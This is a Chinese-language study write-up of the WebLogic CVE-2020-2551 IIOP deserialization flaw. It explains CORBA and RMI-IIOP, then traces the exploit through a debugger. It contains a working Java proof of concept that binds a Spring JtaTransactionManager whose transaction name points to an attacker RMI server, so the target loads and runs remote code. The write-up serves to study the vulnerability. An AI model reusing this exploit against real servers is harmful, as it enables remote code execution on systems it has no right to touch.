weblogic-CVE-2020-2551-IIOP反序列化學習記錄


CORBA:

具體的對CORBA的介紹安全客這篇文章https://www.anquanke.com/post/id/199227說的很詳細,但是完全記住是不可能的,我覺得讀完它要弄清以下幾個點:

1.什么是CORBA?

CORBA全稱(Common ObjectRequest Broker Architecture)也就是公共對象請求代理體系結構,是OMG(對象管理組織)制定的一種標准的面向對象應用程序體系規范。其提出是為了解決不同應用程序間的通信,曾是分布式計算的主流技術。

2.CORBA能干什么?

實現遠程對象的調用

3.CORBA分為幾部分?

naming service  //個人感覺類似於RMI的注冊表服務
client side
servant side

4.CORBA的通信流程是怎樣的?

從大體上了解通信流程是怎樣的,這里借用里面的圖:

 

1.啟動orbd作為naming service,會創建name service服務。
2.corba server向orbd發送請求獲取name service,協商好通信格式
3.orbd返回保存的name service
4.corba server拿到name service后將具體的實現類綁定到name service上,這個時候orbd會拿到注冊后的信息,這個信息就是IOR。
5.corba client向orbd發起請求獲取name service。
6.orbd返回保存的name service。
7.corba client在name service中查找已經注冊的信息獲取到“引用”的信息(corba server的地址等),通過orb的連接功能將遠程方法調用的請求轉發到corba server。
8.corba server通過orb接收請求,並利用POA攔截請求,將請求中所指定的類封裝好,同樣通過orb的連接功能返回給corba client。

以上1-4步主要為服務端參與,即完成服務端去注冊類的信息,每個類對應一個IOR,里面包含對所注冊的類的描述信息

以上5-8步主要為客戶端通過orb來獲取name service,然后在注冊信息中查找想要調用的類的“引用”,拿到stub,然后調用方法,經orb傳到服務端被poa攔截后處理只將結果返回給客戶端,所以方法執行不在客戶端,為rpc(遠程過程調用)

5.CORBA用來進行數據傳輸的協議是什么?

GIOP全稱(General Inter-ORB Protocol)通用對象請求協議。GIOP針對不同的通信層有不同的具體實現,而針對於TCP/IP層,其實現名為IIOP(Internet Inter-ORB Protocol)。所以說通過TCP協議傳輸的GIOP數據可以稱為IIOP。而ORB與GIOP的關系是GIOP起初就是為了滿足ORB間的通信的協議。所以也可以說ORB是CORBA通信的媒介。

6.什么是ORB?

orb就是(Object Request Broker)對象請求代理,充當客戶端與服務端通信的媒介,而客戶端或服務端想要調用orb來發送/處理請求就需要Stubskeleton,這兩部分的具體實現就是StubPOA

7.什么是ORBD?

ORBD可以理解為ORB的守護進程,其主要負責建立客戶端(client side)與服務端(servant side)的關系,同時負責查找指定的IOR(可互操作對象引用,是一種數據結構,是CORBA標准的一部分)。ORBD是由Java原生支持的一個服務,其在整個CORBA通信中充當着naming service的作用,所以客戶端和服務端要使用ORB,都要指定ORBD的端口和地址。

8.什么是stub和poa?

Stubclient side調用orb的媒介,POAservant side用於攔截client請求的媒介,而兩者在結構上其實都是客戶端/服務端調用orb的媒介

9.stub的生成方式是什么?

客戶端stub的生成方式(不只以下三種):

首先獲取NameServer,后通過resolve_str()方法生成(NameServer生成方式)
使用ORB.string_to_object生成(ORB生成方式)
使用javax.naming.InitialContext.lookup()生成(JNDI生成方式)

而以上三種方法都可以總結成兩步:

從orbd獲取NameService,NameService中包含IOR
根據IOR的信息完成rpc調用

10.IOR中包含什么?

type_id:用於指定本次(資料庫或者說是引用)注冊的id(實際上是接口類型,就是用於表示接口的唯一標識符),用於實現類型安全。
Profile_host、Profile_port:servant side地址。
Profile ID:指定了profile_data中的內容,例如這里的TAG_INTERNET_IOP所指定的就是IIOP Profile。
Codebase:用於獲取stub類的遠程位置。通過控制這個屬性,攻擊者將控制在服務器中解碼IOR引用的類

11.CORBA數據的特點是什么?

CORBA的數據傳遞與傳統的序列化傳輸方式不同,即在二進制流中沒有ac ed 00 05的標識,所以單純從流量的角度是很難識別的,只能從流量上下文中進行識別。

12.編寫一個Java CORBA IIOP遠程調用步驟:

1.使用idl定義遠程接口
2.使用idlj編譯idl,將idl映射為Java,它將生成接口的Java版本類以及存根和骨架的類代碼文件,這些文件使應用程序可以掛接到ORB。在遠程調用的客戶端與服務端編寫代碼中會使用到這些類文件。
3.編寫服務端代碼
4.編寫客戶端代碼
5.依次啟動命名服務->服務端->客戶端

由上面的話可以明白服務端掛到ORB上的類必須給客戶端生成用於IIOP通信的客戶端和服務端類,客戶端與服務端的通信依靠着stub,stub從orb中拿

corba的iiop需要字節編寫idl接口,並且編譯成java類,比較麻煩,所以有了rmi-iiop,結合了rmi的優點,RMI-IIOP克服了RMI只能用於Java的缺點和CORBA的復雜性(可以不用掌握IDL)

rmi-iiop例子

服務端代碼:

package com.longofo.example;

import javax.naming.Context;
import javax.naming.InitialContext;
import javax.naming.NamingException;
import java.util.Hashtable;

public class HelloServer {
    public final static String JNDI_FACTORY = "com.sun.jndi.cosnaming.CNCtxFactory";

    public static void main(String[] args) {
        try {
            System.setProperty("java.rmi.server.codebase", "http://127.0.0.1:8000/"); //設置codebase地址
            //實例化Hello servant
            HelloImpl helloRef = new HelloImpl(); //要綁定的類

            //使用JNDI在命名服務中發布引用
            InitialContext initialContext = getInitialContext("iiop://127.0.0.1:1050"); 
            initialContext.rebind("HelloService", helloRef); //通過定義命名 HelloService 對應要綁定的類(實際上綁定的為實例)

            System.out.println("Hello Server Ready...");

            Thread.currentThread().join();
        } catch (Exception ex) {
            ex.printStackTrace();
        }
    }

    private static InitialContext getInitialContext(String url) throws NamingException {
        Hashtable env = new Hashtable();
        env.put(Context.INITIAL_CONTEXT_FACTORY, JNDI_FACTORY); //初始化上下文
        env.put(Context.PROVIDER_URL, url);
        return new InitialContext(env);
    }
}

客戶端代碼:

package com.longofo.example;

import javax.naming.Context;
import javax.naming.InitialContext;
import javax.naming.NamingException;
import javax.rmi.PortableRemoteObject;
import java.util.Hashtable;

public class HelloClient {
    public final static String JNDI_FACTORY = "com.sun.jndi.cosnaming.CNCtxFactory";

    public static void main(String[] args) {
        try {
            InitialContext initialContext = getInitialContext("iiop://127.0.0.1:1050");

            //從命名服務獲取引用,拿到stub
            Object objRef = initialContext.lookup("HelloService"); 
            //narrow引用為具體的對象
            HelloInterface hello = (HelloInterface) PortableRemoteObject.narrow(objRef, HelloInterface.class);
            EvilMessage message = new EvilMessage(); //發送該對象到服務端,服務端收到后將會還原該對象,即調用該類的readObject
            message.setMsg("Client call method sayHello...");
            hello.sayHello(message);
        } catch (Exception ex) {
            ex.printStackTrace();
        }
    }

    private static InitialContext getInitialContext(String url) throws NamingException {
        Hashtable env = new Hashtable();
        env.put(Context.INITIAL_CONTEXT_FACTORY, JNDI_FACTORY);
        env.put(Context.PROVIDER_URL, url);
        return new InitialContext(env);
    }
}

首先要為客戶端和服務端針對HelloImpl接口生成為了進行遠程調用所需要的類

 

 此時新生成了兩個文件,一個tie是服務端用的,一個stub是客戶端用的

 那么服務端實際上只完成的是匹配sayhello方法和反射調用,客戶端主要定義了服務端可調用的sayhello方法的基本架構,那你客戶端只有拿到這個stub才能調用遠程對象的方法就說的通了,只要將這個類文件托管到orb上,orbd對接收到的客戶端的iiop請求進行匹配,若是請求名是對應為對該類文件的綁定,則進行該類文件的分發,客戶端拿到該類文件實際上就是拿到stub,然后客戶端本地在通過該stub來實現所謂的遠程調用

然后再啟動orbd進程,作為實際的orb操作者,監聽1050端口,然后再啟動服務端

 之后啟動客戶端調用sayhello的同時發送message對象,此時因為服務端收到message對象

並且調用了其readObject方法,當然這里作為實驗只是重寫了readObject方法,那么如果服務器端本地有可以利用的gadget,並且可調用的方法的入口參數也為object類型,那么同樣可以打,但是這里和之前學習rmi調用時存在的洞很類似,利用的限制條件還是比較高的,首先客戶端也要有你服務器端反序列化的該類的定義,並且報名類名得完全一致才可以

 

 后面也示范了動態類加載的機制,也就是和rmi一樣,反序列化過程中本地找不到需要的class將去codebase指定的地址進行記載。

Weblogic中的RMI-IIOP

Weblogic默認是開啟了iiop協議的,但是如果想要如上述流程來打weblogic,那么就要找到weblogic中綁定到orb的類必須得給客戶端和服務端生成遠程調用的兩種類,然而Weblogic默認綁定了遠程名稱的實現類沒有為IIOP實現服務端類與客戶端類,但是沒有綁定的一些類卻實現了,所以默認無法利用了的正是服務端去綁定類的時黑名單的繞過,weblogic安裝可以參考https://blog.csdn.net/acmman/article/details/70093877這篇文章,因為要對weblogic進行debug,因此在user_projects\domains\base_domain的startWebLogic.cmd文件中中設置debug標志

 

接下來配置idea,添加debug要依賴的jar包

添加debug鏈接選項,端口就寫上面weblogic開的debug端口

 

poc:

public class Main {
    public static void main(String[] args) throws Exception {
        String ip = "192.168.3.247";
        String port ="7001";
        String rmiurl = "rmi://192.168.3.199:1099/Exploit";
        String rhost = String.format("iiop://%s:%s", ip, port);
        Hashtable<String, String> env = new Hashtable<String, String>();
        env.put("java.naming.factory.initial", "weblogic.jndi.WLInitialContextFactory");
        env.put("java.naming.provider.url", rhost);
        Context context = new InitialContext(env);
        
        JtaTransactionManager jtaTransactionManager = new JtaTransactionManager();
        jtaTransactionManager.setUserTransactionName(rmiurl);
        context.bind("tr1ple", jtaTransactionManager);

}
    }

這里用到了一個入口類org.springframework.transaction.jta.JtaTransactionManager,該類在之前在spring里就爆出過jndi

spring-jndi:

先本地測試一下這個類:

這里需要添加兩個依賴:

    <dependency>
        <groupId>org.springframework</groupId>
        <artifactId>spring-tx</artifactId>
        <version>4.2.4.RELEASE</version>
    </dependency>
    <!-- https://mvnrepository.com/artifact/org.springframework/spring-context -->
    <dependency>
        <groupId>org.springframework</groupId>
        <artifactId>spring-context</artifactId>
        <version>4.2.4.RELEASE</version>
    </dependency>

調用棧如下所示:

 

那么首先進入該類的initUserTransactionAndTransactionManager方法中

 

然后將進入this.lookupUserTransaction方法中,因為this.userTransaction默認為null

 

那么此時就看到熟悉的lookup函數了,並且此時的userTransactionName又是可控的,所以妥妥的JNDI注入

 

 

那么本地起個rmi referver即可,那么在getObjectFactoryFromReference函數中就會到rmi server指定的codebase去加載工廠類

最終通過newInstance實例化工廠類從而觸發calc

 

 

 

cve-2020-2551:

首先根據poc的bind函數下端點,看一下要進行什么操作,因為在獲取上下文時poc已經要與orb進行一次通信,所以此時數據包:

首先客戶端192.168.3.199向weblogic 192.168.3.247請求locaterequest,這里實際上是請求nameservice

然后orb返回的數據包中包含命名上下文和ior

 

然后步入bind函數:

 這里實際上是調用orb返回的命名上下文將我們指定的JtaTransactionManager實例向orb進行綁定

 接下來在bind_any函數中進行序列化數據的構造,這里可以看到weblogic用的序列化輸出流是iiopOutputstream,所以在網絡中傳輸的數據流中是看不到原生objectoutputsteam的magic頭部的

接着調用iiopOutputstream的write_any函數寫入jta類,進一步在weblogic/corba/idl/AnyImpl的write_value中寫入序列化數據

接着調用_invoke發送序列化數據

並最終調用EndpointImpl的send函數發送上文構造的iiopoutputstream,可以看到里面的giop數據已經在本地構造完成,所以此時199將給orb發送一條giop消息,進行jta類實例的綁定

那么此時對於weblogic而言應該接受到了giop消息,所以要對其進行處理,那么序列化用的是iiopoutputstream,那么反序列化應該用的是iiopInputstream輸入流,因此找到該類的read_any處下斷點並發送poc

 

 和序列化相對應,此時實例化AnyImpl實例調用其read_value讀取序列化數據,並且在ValueHandlerImpl.readValue中從iiopStream中拿到objectInputstream然后調用jta類的readObject進行反序列化

 

接下來就是之前講的spring的jndi,weblogic加載Exploit.class從而進行rce

 

 

調試時注意問題:

因為這里實際上是模擬服務端來向orb綁定,因此服務端相對於orb來說也是一個客戶端,這里要用到orbhelper來獲取命名服務

而getORBhelper里面會判斷當前是不是瘦客戶端

 

 因為要模擬服務器端所以,這里必須讓thinClient為false,因此這個靜態代碼快必須到捕獲異常塊

總結: 

整個攻擊過程就是假冒服務端來進行類實例的綁定而與weblogic進行giop通信發送序列化數據,而weblogic接收到序列化數據再進行實例還原,整個流程沒問題,主要還是weblogic本身在反序列化是沒有對類黑名單做好限制。當然在分析過程中抓包來分析通信也更能清晰了解網絡通信流程,也更有助於我們理解漏洞原理。

weblogic-cve-2020-2551 IIOP反序列化導致遠程代碼執行漏洞,主要是IIOP支持RMI方式的遠程方法調用,所以在CORBA這種通信架構中可以偽造服務端和ORB通信,在獲取到context后,綁定惡意的遠程調用類到ORB,加上黑名單校驗不嚴,存在springboot的jndi注入的gadget,因此導致回連惡意的rmi server造成加載我們構造的任意字節碼來RCE

參考:

1.https://www.anquanke.com/post/id/196555 講java corba的文章

2.https://www.anquanke.com/post/id/175738  基於攻擊流量和日志對Weblogic各類漏洞的分析思路

3.https://www.anquanke.com/post/id/177546  WebLogic 多個CVE XXE漏洞分析

4.https://www.anquanke.com/post/id/180725   淺談Weblogic反序列化——XMLDecoder的繞過史

5.https://www.anquanke.com/post/id/195865#h2-2  t3反序列化

7.https://www.anquanke.com/post/id/199227 講corba的原理

9.https://www.anquanke.com/post/id/184068#h2-14 講weblogic 很詳細

10.https://blog.csdn.net/acmman/article/details/70093877 weblogic安裝

11.https://www.anquanke.com/post/id/199966 cve 2020-2551 

12.https://xz.aliyun.com/t/7374#toc-9  cve 2020-2551 

13.https://www.anquanke.com/post/id/199695#h3-2   cve 2020-2551

14.https://www.anquanke.com/post/id/197605  iiop反序列化

 

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM